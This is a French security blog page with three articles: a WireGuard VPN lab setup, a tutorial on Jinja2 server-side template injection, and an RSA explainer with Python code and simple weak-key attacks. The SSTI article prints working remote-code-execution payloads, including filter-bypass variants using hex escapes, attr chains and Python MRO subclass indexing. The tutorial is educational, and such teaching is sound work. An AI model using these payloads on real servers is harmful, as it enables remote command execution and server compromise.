Catégories
Réseau technical VPN

Wireguard : VPN

1. Qu’est-ce que Wireguard ?

Wireguard est un protocole de communication, ainsi qu’un logiciel, permettant de créer un VPN. C’est un logiciel libre et open-source. Il a pour objectif d’être plus rapide et plus simple que les autres solutions notamment IPsec. Il a également pour ambition d’être considérablement plus performant que OpenVPN.

2. Installation Wireguard

Présentation

L’objectif de ce lab. sera de mettre en place un serveur Wireguard, pour permettre à des utilisateurs extérieurs de se connecter à un réseau interne, non disponible depuis l’extérieur.

Pour cela :

Serveur :

– Debian 11

– 2 Interfaces réseau (une accessible de l’extérieur l’autre uniquement accessible en interne) et un tunnel Wireguard.

– enp0s3 :
– IP : 10.188.80.31 /16
– Réseau : 10.188.0.0
– Accessible depuis l’extérieur

– enp0s8 :
– IP : 192.168.1.1/24
– Réseau : 192.168.5.0

– Réseau interne
– wg0 Serveur :
– IP : 192.168.5.1/24
– Réseau : 192.168.5.0/24

Pour l’installation de Wireguard sur Debian, il suffit d’effectuer la commande :

sudo apt install wireguard


Cette commande est à effectuer sur le serveur et sur le client, afin d’installer Wireguard.

3. Génération des couples de clés

Pour commencer il faut générer un ensemble de clés privée/publique sur le serveur pour cela :

wg genkey > private

wg pubkey < private > public

La clé privée comme son nom l’indique, doit rester privée. Elle ne doit pas être partagée et doit rester uniquement sur le serveur. La clé publique a pour vocation d’être partagée aux différents  Peer et leur permettra de se connecter au VPN. Enfin pour générer les clés sur le client il suffira d’effectuer les mêmes manipulations que sur le serveur.

4. Configuration Wireguard Serveur

Pour la configuration du Wireguard tout se passe dans le dossier /etc/wireguard/ aussi bien pour le serveur que pour le client. Chaque interface aura son propre fichier de configuration. Donc par exemple une première configuration dans le fichier wg0.conf, une deuxième configuration dans le fichier wg1.conf, etc.

Nous allons commencer par configuer le serveur pour ce faire :

sudo nano /etc/wireguard/wg0.conf


Configuration de l’interface :

Address : Représente l’adresse IP, ainsi que le masque de l’interface du Wireguard

PrivateKey : Représente la clé privée du serveur

PostUp : Représente les commandes iptables effectuées au moment de l’activation de l’interface

PostDown : Représente les commandes iptables effectuées au moment de la désactivation de l’interface

Listen Port : Représente le port sur le quel Wireguard est en écoute

Configuration du Peer :

AllowedIPs : Dans ce cas autorise les paquets ayant pour IP source l’IP spécifiée

PublicKey : Représente la clé publique du client générée précédemment

A noter que pour chaque client du VPN, il sera nécessaire de déclarer un nouveau Peer dans le fichier de configuration.

IP Masquerade

Pour permettre à notre serveur d’effectuer du routing, il faut donc les deux règles iptables dans la configuration du Wireguard. Mais en plus de cela il faut autoriser le routing des paquets. Pour ce faire il faut modifier le fichier /etc/sysctl.conf avec la commande suivante :

sudo sysctl -w net.ipv4.ip_forward=1

5. Configuration Wireguard client

Enfin pour la configuration du client le chemin d’accès sera exactement le même que celui du serveur : /etc/wireguard/wg0.conf

Configuration de l’interface :

PrivateKey : Représente la clé privée du client générée précédemment

Address : Représente l’adresse IP que prendra l’interface une fois activée

Configuration du Peer :

PublicKey : Représente la clé publique du serveur

AllowedIPs : Dans ce cas indique les réseaux joignables par l’interface

Endpoint : Indique l’adresse à contacter pour se connecter au Wireguard

6. Activation des interfaces

Il ne reste plus qu’à activer l’interface sur le serveur ainsi que sur le client pour ce faire :

sudo wg-quick up wg0

* Activation de l’interface sur le serveur

* Activation de l’interface sur le client


7. Résultat

Comme nous pouvons le voir sur la capture d’écran suivante, les réseaux 192.168.1.0/24 et 192.168.5.0/24, sont bien accessible par l’interface wg0 du client.

Il est donc également possible de vérifier cela avec la commande ping, en effectuant un ping depuis notre machine cliente vers l’interface 192.168.1.1 du serveur, qui n’est pas accessible depuis l’extérieur.

8. Commandes supplémentaires

Activation de l’interface à chaque redémarrage de la machine
Par défaut l’interface ne s’active pas au démarrage. Pour le permettre il faut l’activer avec systemctl.

sudo systemctl enable wg-quick@wg0


Vérifier l’état du tunnel Wireguard

Permet de vérifier l’état du tunnel, la quantité de données transférées, les clients connectés.

sudo wg show wg0



Désactivation du tunnel Wireguard

Permet de désactiver le tunnel Wireguard.

sudo wg-quick down wg0

Catégories
Injection technical Web security

Comprendre la SSTI : Server-Side Template Injection

Introduction

Les vulnérabilités de type SSTI (Server-Side Template Injection) se produisent quand une saisie utilisateur n’est pas suffisamment contrôlée, et qu’elle est directement utilisée côté serveur dans la génération de la page web. Ce type de vulnérabilité peut aller jusqu’à permettre à un attaquant de prendre le contrôle total d’un serveur. Jinja est un template engine inspiré de la syntaxe du langage de programmation Python.

Les template engines sont utilisés pour générer des pages web côté serveur à partir d’éléments statiques et d’éléments dynamiques. Les pages ainsi générées sont ensuite transmises au client web.
Ci-dessous le code utilisé pour la démonstration :

Code de démonstration

Une version non vulnérable du code présenté ci-dessus pourrait se présenter ainsi :

Code non vulnérable

 

Détection

Concernant la détection des SSTI, la première étape consiste en le fuzzing des différents champs utilisateurs, pour essayer de déclencher une action côté serveur, ainsi qu’un comportement inattendu de l’application web. Enfin il est possible d’utiliser une string polyglotte du type : ${{<%[%'"}}%\ afin de déterminer si un champ est vulnérable ou non.

Si cela déclenche une action inattendue (string incomplète, crash, …), nous savons dans ce cas que le service web est vulnérable aux SSTI.

Afin d’identifier de manière plus précise quel template engine est utilisé, il est possible de s’aider de ce schéma : 

Détecter la vulnérabilité

 

Pour illustrer mes propos, j’utiliserai une application web relativement simple :

 

Simple POC

Dans notre cas pour l’exemple nous utiliserons le template engine Jinja2 donc pour exemple une saisie comme {{7*’7′}} nous donnera en résultat :

Simple POC

 

Exploitation

Il existe plusieurs payloads pour l’exploitation de ce type de faille. Un des plus simples se présente ainsi :

{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}

dans ce cas nous avons la possibilité d’importer la librairie os, et donc d’exécuter des commandes.

Le résultat de la commande ci-dessus est l’user id sous lequel le serveur web est exécuté.

Il existe encore 3 autres possibilités afin d’accéder à la librairie os. Celles-ci nous permettent d’accéder à la librairie os même dans le cas où l’application Python fonctionne avec des built-ins restreints :

{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}

{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}

{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}

Bypass de filtre

Les filtres sur certains caractères sont rarement efficaces, et comme nous allons le voir, il existe plusieurs moyens de bypass les filtres.

Dans le cas où le caractère ‘.’ n’est pas autorisé, il est toujours possible d’exécuter des commandes avec le type de payload suivant:

{{ self['__init__']['__globals__']['__builtins__']['__import__']('os')['popen']('id')['read']() }}

Dans le cas où le caractère ‘_’ n’est pas autorisé, il est à nouveau possible d’exécuter des commandes avec ce type de payload, il permet également donc de bypass le caractère ‘.’ :

{{ self['\x5f\x5finit\x5f\x5f']['\x5f\x5fglobals\x5f\x5f']['\x5f\x5fbuiltins\x5f\x5f']['\x5f\x5fimport\x5f\x5f']('os')['popen']('id')['read']() }}

Dans ce cas, plutôt que fournir directement le caractère ‘_’ nous lui fournissons la valeur hexadécimal du caractère ‘_’ qui est f5, et afin qu’il soit interprété nous écrirons \x5f.

Enfin, dans le cas où les caractères de type ‘[]’ et ‘.’ sont filtrés, il est possible d’utiliser le filtre attr de Jinja2 avec la fonction __getitem__ pour avoir un payload de ce type :

{{ self|attr('__init__')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('__import__')('os')|attr('popen')('id')|attr('read')() }}

La fonction __getitem__ permet de récupérer une valeur à partir de son nom. Cela est un fonctionnement classique de type dictionnaire clé/valeur.

Par exemple :

{{ self.__init__.__globals__.__getitem__('__builtins__') }}

Permet de récupérer les builtins de Python et équivaudrait à :

{{ self.__init__.__globals__.__builtins__ }}

Enfin le filtre attr de Jinja2 permet de récupérer l’attribut d’un objet

Par exemple : {{ self|attr('__init__') }}

Equivaudrait à : self.__init__

Donc, le payload expliqué précédemment reviendrait, dans le principe, à faire : 

{{ self.__init__.__globals__.__getitem__('__builtins__').__getitem__('__import__')('os').popen('id').read() }}

Finalement, dans le cas où les caractères types ‘[]’ ‘_’ et ‘.’ sont filtrés, il est toujours possible de façonner un payload dans ce style :

{{ self|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')() }}

MRO

Le MRO (Method Resolution Order), en Python, est utilisé afin de déterminer l’ordre d’import des différentes classes, notamment dans les cas d’héritage multiple. Il représente également l’ordre dans lequel Python cherche une fonction dans les cas d’héritage multiple et résout les situations où une fonction se trouve dans plusieurs superclass. Il se base sur l’algorithme C3 linearization.

Il est donc aussi possible d’exploiter l’application à l’aide du MRO de Python.

Dans un premier temps, il suffit de lui fournir un payload tel que :

{{ ''.__class__.__mro__ }}

Le résultat obtenu est le suivant :

 MRO

 

Nous lui fournissons une string vide, donc une class de type « str », et de type « object »; tous les objets en Python sont hérités de la class « object ». Ainsi __mro__ permettant de remonter dans l’arborescence de class, nous pouvons donc remonter sur le type d’objet « object ».

Il faut savoir que __mro__ se comporte comme un tuple classique, il est donc possible d’accéder aux différents éléments qui le composent à l’aide d’un indice comme par exemple :

{{''.__class__.__mro__[1]  }} permettra d’accéder à la class « object ».

Ce payload : {{''.__class__.__mro__[1].__subclasses__() permet d’accéder aux subclass de la class object. Une subclass n’est rien de plus qu’une class dérivée de la class parent. En Python, chaque class contient une liste de références vers ses class dérivées directe.

MRO

 

A partir de là, il est possible d’appeler subprocess.Popen() et d’exécuter encore une fois des commandes système sur le serveur. Pour cela il suffit de lui donner l’indice (216 dans notre environnement de test), et enfin, de passer les arguments comme à une fonction classique.

Nous nous retrouvons alors avec un payload dans ce type :

{{''.__class__.__mro__[1].__subclasses__()[216]('id', shell=True, stdout=-1).communicate() }}

Pour résultat :

MRO

 

Conclusion

Ce type de vulnérabilité est comparable à toutes les vulnérabilités de type injection, à la différence qu’elle intervient directement côté serveur. Elle se présente quand la saisie utilisateur est directement utilisée par le template engine pour la génération de la page web. Cela peut aller de l’exfiltration de données, jusqu’à la compromission complète d’un serveur.

 

Bibliographie

CARLOS POLOP. SSTI (Server Side Template Injection). In : HackTricks [en ligne]. Disponible sur :  https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection : consulté le (29/10/2021)

GUS RALPH. Server Side Template Injection With Jinja2. In : Onsecurity [en ligne]. Disponible sur : https://www.onsecurity.io/blog/server-side-template-injection-with-jinja2/ : consulté le (29/10/2021)

JAMES KETTLE. Server-Side Template Injection. In: PortSwigger [en ligne]. Disponible sur : https://portswigger.net/research/server-side-template-injection : consulté le (29/10/2021)

PHOSPHORE. Cheatsheet – Flask & Jinja2 SSTI. In : P=NP [en ligne]. Disponible sur : https://pequalsnp-team.github.io/cheatsheet/flask-jinja2-ssti : consulté le (29/10/2021)

PODALIRIUS.  Python vulnerabilities : Code execution in jinja templates. In : Podalirius [en ligne]. Disponible sur :  https://podalirius.net/en/articles/python-vulnerabilities-code-execution-in-jinja-templates/ : consulté le (29/10/2021)

RICK M. WSTG – v4.1. In: OWASP [en ligne]. Disponible sur : https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/18-Testing_for_Server_Side_Template_Injection : consulté le (29/10/2021)

 

Image de Maladra

Maladra

Apprenti chercheur

Catégories
Crypto technical

Cryptosystème RSA : Fonctionnement et attaques possibles

Le chiffrement est une pratique cryptographique permettant de rendre inintelligible la lecture d’une information auprès d’un tiers qui n’aurait pas la clef (ou secret) afin de lire le contenu du message. Comme vous le savez peut-être déjà, il existe deux types de chiffrement : symétrique & asymétrique. A l’inverse du chiffrement symétrique, le chiffrement asymétrique nécessite deux clefs pour son bon fonctionnement ; RSA est basé sur ce système. Dans cet article nous aborderons l’algorithme de chiffrement RSA en décrivant au mieux son fonctionnement ainsi que certaines attaques qui sont susceptibles d’être exploitées. Nous prendrons par convention, deux acteurs, respectivement Alice et Bob pour la suite de cet article afin d’illustrer des acteurs.

1. Fonctionnement de l’algorithme

Le cryptosystème RSA est un algorithme de chiffrement asymétrique créé en 1977 par Ronald Rivest, Adi Shamir et Lenoard Adleman. Etant asymétrique, RSA est basé sur un système de chiffrement à double clefs :

  • Clef publique afin de chiffrer un message
  • Clef privée afin de déchiffrer un message

Ainsi, afin qu’Alice puisse envoyer un message chiffré à Bob il lui est nécessaire de récupérer la clef publique de Bob. Une fois le message envoyé, Bob n’a plus qu’à se munir de sa clef privée afin de déchiffrer le message envoyé par Alice.
Si Bob souhaite répondre à Alice il devra faire la même opération avec la clef publique d’Alice.

Le schéma suivant illustre les différentes étapes dans un échange secret :

  1. Alice et Bob génèrent une paire de clefs chacun.
  2. Alice envoie sa clef publique à Bob.
  3. Bob envoie sa clef publique à Alice.
  4. Alice chiffre le message à envoyer avec la clef publique de Bob.
  5. Bob déchiffre le message à l’aide de sa clef privée.
  6. Bob chiffre la réponse à l’aide de la clef publique d’Alice et lui envoie.
  7. Alice déchiffre la réponse envoyée par Bob à l’aide de sa clef privée.

1.1. Création des clefs

Afin de permettre un échange secret entre Alice et Bob il est nécessaire que les deux parties créent une paire de clefs chacun. Pour cela nous devons choisir un module n tel que :

avec p et q premiers et un exposant public e tel que :

avec

Par la suite nous avons besoin de d, exposant privé égal à l’inverse modulaire de e modulo phi(n) tel que :

Nous avons donc la clef publique composée du couple (n, e) ainsi que de la clef privée composée du couple (n, d)

1.2. Processus de chiffrement

Pour la suite de cet article nous prendrons des fonctions développées au préalable afin de gagner du temps :

				
					import binascii
import math

def message_to_int(message):
    return int(message.encode('utf-8').hex(), base=16)

def int_to_message(integer):
    return binascii.unhexlify(hex(integer)[2:]).decode('utf-8')

def gcd(a, b):
    return (a if (b == 0) else gcd(b, a % b))

def total_bits(number): 
    return int((math.log(number) / math.log(2)) + 1)

def display_values(p, q, n, phi, d):
    print('p    = %d' % p)
    print('q    = %d' % q)
    print('n    = %d (%d bits)' % (n, total_bits(n)))
    print('φ(n) = %d' % phi)
    print('d    = %d\n' % d)
				
			

RSA travaille avec des nombres, or ici le but de cette utilisation est de chiffrer une chaîne de caractères ou tout autre type de données. Pour se faire, il est nécessaire de convertir nos données sous forme d’entiers (représentés sous une forme décimale, binaire ou encore héxadécimale). Pour la suite de cet article nous prendrons Python dans sa version 3 afin d’effectuer l’ensemble des opérations nécessaires.

Afin d’illustrer le processus de chiffrement nous prendrons la chaîne « Bonjour comment vas-tu ? » comme message original. Nous devons dans un premier temps convertir la chaîne en entiers puis calculer le texte chiffré c où :

Code :

				
					p = 12891720510343188045004713316180039759528428989301731445761930033945274677788771104497679192758438066264952920046711510442107255288014942404269605732627609
q = 8216488903601457311930280110452039876584206473011974266050997219767782816367397228742327489673321528209592843893174635854427070340917786597049175473842569
e = 65537

n = p * q
phi = (p - 1) * (q - 1)
d = pow(e, -1, phi)

display_values(p, q, n, phi, d)

m = message_to_int('Bonjour comment vas-tu ?')
c = pow(m, e, n)

print('m = %d' % m)
print('c = %d\n' % c)
				
			

Sortie :

				
					p    = 12891720510343188045004713316180039759528428989301731445761930033945274677788771104497679192758438066264952920046711510442107255288014942404269605732627609
q    = 8216488903601457311930280110452039876584206473011974266050997219767782816367397228742327489673321528209592843893174635854427070340917786597049175473842569 
n    = 105924678521566120857730964294084397748450952475267005663502881925464365971635302498981400709005395893216159439276446023749196573209070889259630113802987871563574495803579634898205049068369134174449020816132646728626719024291996439897989880084843763563893045911044616045173661789462222220405084637968368887521 (1024 bits)
φ(n) = 105924678521566120857730964294084397748450952475267005663502881925464365971635302498981400709005395893216159439276446023749196573209070889259630113802987850455365081858934277963211622436289498061813558502426934915699465311234502283729656640078161331804298571365280676159027365255136593287676083319187162417344        
d    = 64897593980140141459030340255128718476487344473189131000909886292524386024063846395800848111275976338561552252395854817760982193326881355821016036125110565929692755723969483849685464328308165092634692075437519533547166190731937229329949541008261164776202763874301768311235268582472490810993145452421107657409

m = 1628988290410733638254639806746562587341167837868727803967
c = 67995313735878491968347612138523855789793839900128894430761512480475105199361678876491731040296546831120782122737636077234845318084214607092615465418279441461853418323595299370728611288588101329605191875664235327705876108565285212069714241096046996601944199789970096412319748693560867225415111567959412226219
				
			

Notre message chiffré vaut donc : 

67995313735878491968347612138523855789793839900128894430761512480475105199361678876491731040296546831120782122737636077234845318084214607092615465418279441461853418323595299370728611288588101329605191875664235327705876108565285212069714241096046996601944199789970096412319748693560867225415111567959412226219

1.3. Processus de déchiffrement

Afin de procéder au déchiffrement du message nous avons besoin de e et de d calculés plus haut. On calcule en suite le message en clair :

Code :

				
					t = pow(c, d, n)
print('t = %d' % t)
print('message = %s' % int_to_message(t))
				
			

Sortie :

				
					t = 1628988290410733638254639806746562587341167837868727803967
message = Bonjour comment vas-tu ?
				
			

On retrouve donc ici le message original qui correspondait à la chaîne de caractères « Bonjour comment vas-tu ? ».

2. Pratique RSA

2.1. Exercice

Chiffrez et déchiffrez la lettre A à l’aide des entiers p et q tels que p = 7 et q = 19. Assurez-vous que que le message déchiffré t à partir de c correspond bien au message original m.

2.2. Solution

Code :

				
					p = 7
q = 19
e = 5

n = p * q
phi = (p - 1) * (q - 1)
d = pow(e, -1, phi)

display_values(p, q, n, phi, d)

m = message_to_int('A')
c = pow(m, e, n)

print('m = %d' % m)
print('c = %d\n' % c)

t = pow(c, d, n)
print('t = %d' % t)
print('message = %s' % int_to_message(t))
				
			

Sortie :

				
					p    = 7
q    = 19
n    = 133 (8 bits)
φ(n) = 108
d    = 65

m = 65
c = 88

t = 65
message = A
				
			

3. Quelques attaques

3.1. Factorisation

La factorisation de nombres premiers est encore un casse-tête pour les mathématiciens modernes. En effet, à partir d’une certaine taille d’entier, la factorisation devient simplement impossible dûe à la contrainte de temps et de puissance de calcul. Dans un cadre non-professionel il peut être difficile de se procurer du très bon matériel afin de casser la clef privée, néanmoins il existe un site internet factordb.com qui répertorie un ensemble de solutions de factorisation de nombres premiers. Prenons l’exemple du process de chiffrement :

				
					n = 870001004569
				
			

Après une recherche sur factordb on trouve rapidement que 870001004569 est le produit des deux nombres premiers 900241 et 966409. Pour notre exemple ici, la clef est de 40 bits, et les ordinateurs modernes peuvent encore effectuer des attaques par force brute afin de trouver les facteurs de ce module N si la clef est inférieure ou égale à 256 bits.
De nos jours les standards sont d’au minimum 2048 bits (les logiciels tels qu’openssl ou encore la librairie RSA ne permettent pas la création de clefs inférieures à 2048 bits pour éviter les problèmes de factorisation).

3.2. Faible exposant public

A l’instar du module N, l’exposant public e doit également avoir une taille assez grande afin que le texte chiffré soit passé au moins une fois dans le modulo tel que m^e > n. Prenons l’exemple d’un exposant public e = 5 ainsi que le message « pass ». On sait que :

				
					n = 105924678521566120857730964294084397748450952475267005663502881925464365971635302498981400709005395893216159439276446023749196573209070889259630113802987871563574495803579634898205049068369134174449020816132646728626719024291996439897989880084843763563893045911044616045173661789462222220405084637968368887521
c = 23826350340387474793342460320063959706656337699
				
			

On peut facilement vérifier que c < n :

				
					>>> 23826350340387474793342460320063959706656337699 <
105924678521566120857730964294084397748450952475267005663502881925464365971635302498981400709005395893216159439276446023749196573209070889259630113802987871563574495803579634898205049068369134174449020816132646728626719024291996439897989880084843763563893045911044616045173661789462222220405084637968368887521
True
				
			

Ainsi, on peut calculer la racine cinquième de c et ainsi retrouver le message original.

Code :

				
					e = 5
c = 23826350340387474793342460320063959706656337699

m = int(pow(c, (1/e)))

print('m = %d' % m)
print('message = %s' % int_to_message(m))
				
			

Sortie :

				
					m = 1885434739
message = pass